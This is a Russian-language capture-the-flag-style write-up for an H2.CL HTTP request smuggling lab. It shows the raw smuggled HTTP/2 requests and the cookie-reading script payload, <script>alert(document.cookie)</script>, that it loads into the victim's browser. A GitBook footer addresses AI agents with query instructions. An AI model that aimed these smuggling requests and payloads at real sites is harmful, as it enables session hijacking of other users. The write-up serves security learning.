> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/request-smuggling/h2-cl-request-smuggling.md).

# Путаница запросов H2.CL

### Переполнение запроса H2.CL

Эта лаборатория уязвима к **переполнению запроса** поскольку сервер front-end понижает **HTTP/2** запросы даже тогда, когда у них неоднозначная длина.

Цель состоит в том, чтобы провести атаку, позволяющую браузеру жертвы загрузить и выполнить **JavaScript-файл вредоносного ПО** размещённый на сервере эксплойта, содержащий:

```javascript
alert(document.cookie)
```

Пользователь-жертва посещает главную страницу каждые **10 секунд**.

#### **Переключение 404 через переполнение запроса**

Чтобы вызвать, требуется несоответствие длины **404 Не найдено**:

```http
POST / HTTP/2
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 14

test=testing
GET /error/ HTTP/1.1
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 11

test=test
```

#### **Анализ поведения приложения**

Страница автоматически загружает скрипт:

`resources/js/analytics.js?uid=3309545055`

<figure><img src="/files/34a6b0356d133e8fa7672ac15f88590b1d8317f5" alt=""><figcaption></figcaption></figure>

Этот скрипт генерирует случайный идентификатор и отправляет запрос к:

```javascript
/analytics?id=<random value>
```

<figure><img src="/files/2493b98508779d7327680d3c8caceadd28b2ece0" alt=""><figcaption></figcaption></figure>

Выдержка из функции:

```javascript
function randomString(length, chars) {
    var result = '';
    for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
    return result;
}
var id = randomString(16, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
fetch('/analytics?id=' + id)
```

#### **Наблюдение за принимаемыми путями**

Подставной запрос к:

```http
GET /resources HTTP/1.1
Host: test.com
Content-Length: 11

test=test
```

<figure><img src="/files/0d188cf209d07fffc4c5f471d873eb3902f8cbf8" alt=""><figcaption></figcaption></figure>

принимается.

С другой стороны, другие пути — нет.

<figure><img src="/files/f2fbb433af3c797147c5d8fc67f76c7e8bd3e945" alt=""><figcaption></figcaption></figure>

#### **Внедрение вредоносного скрипта**

Мы помещаем наш полезный payload в файл, предоставленный сервером эксплойта:

* имя файла: **resources**
* содержимое тела:

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="/files/4dcb37edc7e462a5f56efa5bdba482fac7183a41" alt=""><figcaption></figcaption></figure>

Жертва перенаправляется на этот файл, и браузер выполняет alert, подтверждая эксплуатацию.

<figure><img src="/files/5cc781d436570eace194df0a7790654b01691c9f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/request-smuggling/h2-cl-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
